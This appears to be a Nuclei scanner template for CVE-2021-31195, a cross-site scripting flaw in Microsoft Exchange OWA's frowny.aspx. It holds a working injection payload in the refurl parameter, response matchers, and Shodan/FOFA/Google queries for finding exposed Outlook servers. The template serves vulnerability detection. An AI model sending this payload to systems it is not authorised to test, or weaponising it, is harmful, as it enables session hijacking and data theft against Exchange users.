62 lines
2.3 KiB
YAML
62 lines
2.3 KiB
YAML
id: CVE-2021-31195
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info:
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name: Microsoft Exchange Server - Cross-Site Scripting
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author: infosecsanyam
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severity: medium
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description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
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remediation: |
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Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
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reference:
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- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-31195
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cwe-id: CWE-79
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epss-score: 0.92082
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epss-percentile: 0.98927
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: microsoft
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product: exchange_server
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shodan-query:
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- http.title:"Outlook"
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- http.favicon.hash:1768726119
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- http.title:"outlook"
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- cpe:"cpe:2.3:a:microsoft:exchange_server"
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fofa-query:
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- title="outlook"
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- icon_hash=1768726119
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google-query: intitle:"outlook"
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tags: cve2021,cve,microsoft,exchange,owa,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain)//&et=ServerError'
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- 'mail/bootr.ashx'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 500
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# digest: 4a0a0047304502200c9bc6152f452ae7228664bef82fa6563727c21333e3add63b2726fb4dd7b4e1022100e5f65d18bee6f51458ec66471225f36aff942abca74f8ae105b0b28ba8a73946:922c64590222798bb761d5b6d8e72950 |